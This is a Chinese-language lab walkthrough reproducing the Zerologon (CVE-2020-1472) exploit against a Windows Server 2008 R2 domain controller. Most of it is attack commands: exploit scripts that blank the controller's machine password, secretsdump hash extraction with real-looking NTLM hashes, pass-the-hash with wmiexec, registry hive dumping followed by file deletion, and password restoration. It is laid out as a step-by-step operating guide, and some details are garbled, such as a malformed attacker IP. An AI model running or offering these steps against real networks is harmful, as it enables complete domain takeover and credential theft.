2020年8月11号,微软修复了Netlogon
特权提升漏洞,2020年9月11日,安全研究员Secura发布了公告,阐明了漏洞细节,之后相关的EXP也就被构造出来。该漏洞也称为“Zerologon”
,CVSS评分为10.0,号称3秒撸域控,危害严重。攻击者在通过NetLogon(MS-NRPC)
协议与AD域控建立安全通道时,可利用该漏洞将AD
域控的计算机账号密码置为空,从而控制域控服务器。
域控:windows server 2008 R2,IP:192.168.162.129
攻击机:KALI,IP:192168.162.130
使用的工具:
CVE-2020-1472攻击exp:https://github.com/VoidSec/CVE-2020-1472
impacket
网络协议工具包:https://github.com/SecureAuthCorp/impacket/
python3 zerologon_tester.py 域控主机名 域控IP
python3 zerologon_tester.py DC08 192.168.162.129
net group "Domain Controllers" /domain
ping a.com
-n
:指定域控计算机主机名;-t
:指定域控ip;python3 cve-2020-1472-exploit.py -n DC08 -t 192.168.162.129
这个步骤是用空密码dump
域控上的hash
,首先找到之前下载的impacket
的文件夹,找到examples
文件夹进入,在examples
文件夹下打开命令行,然后使用如下语句即可。
python3 secretsdump.py 域名称/域控主机名$@域控IP -no-pass
python3 secretsdump.py a/DC08\[email protected] -no-pass
置空密码后接下来我们利用impacket
网络协议工具包的secretsdump.py
脚本根据DRS
协议来获取相关的HASH
信息。
找到administrator
的hash
值将其复制(注意只要冒号后面的) DC08
的hash
为31d6cfe0d16ae931b73c59d7e0c089c0
,也就是空密码。还得到的域管administrator
账户的hash
为6ec77abf4e1d5e5027db29d144bd8673
。获取到hash
之后,可以尝试进行解密,如果解密成功可以直接连接3389获得域控权限。
NTML HASH解密地址:https://www.objectif-securite.ch/en/ophcrack
如果密码复杂度高会解密失败,可以使用hash
横向的工具执行系统cmd
命令。
常用的工具有: wmiexec,psexec,atexec,smbexec
等
使用wmiexec
执行cmd
,输入域控管理员对应hash,域名称,域控用户名以及域控IP
。
payload
格式:python3 wmiexec.py -hashes hash值 域名称/域控用户名@域控ip
构造payload:
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:47bf8039a8506cd67c524a03ff84ba4e a/[email protected]
如果机器账户hash
长时间为空,可能会导致脱域,对内网的使用产生重大影响,因此拿到权限的第一时间需要把hash
重置回去。首先获取原hash
,在cmd
中执行。
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
会在目标c盘根目录生成sam.save
、system.save
、security.save
文件,然后下载到本地。
在KALI上执行,没有下载文件到本地,原因未知。
可以使用其它操作系统执行,也可以使用powershell
命令先上线到cs
服务器,然后下载。
下载文件到本地后,执行如下命令,利用secretsdump.py
解析保存在本地的ntml hash
。
~impacket/examples
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
红框标注的位置即为之前使用的hash
。
5675ea937557a144c3a9e3b684d9bd2b
使用reinstall_original_pw.py
对hash
进行恢复 。
python3 reinstall_original_pw.py DC08 192.168.162.129 5675ea937557a144c3a9e3b684d9bd2b
使用空密码再次尝试查看目标hash信息,失败,说明目标hash
已成功还原。
python3 secretsdump.py a/DC08\[email protected] -no-pass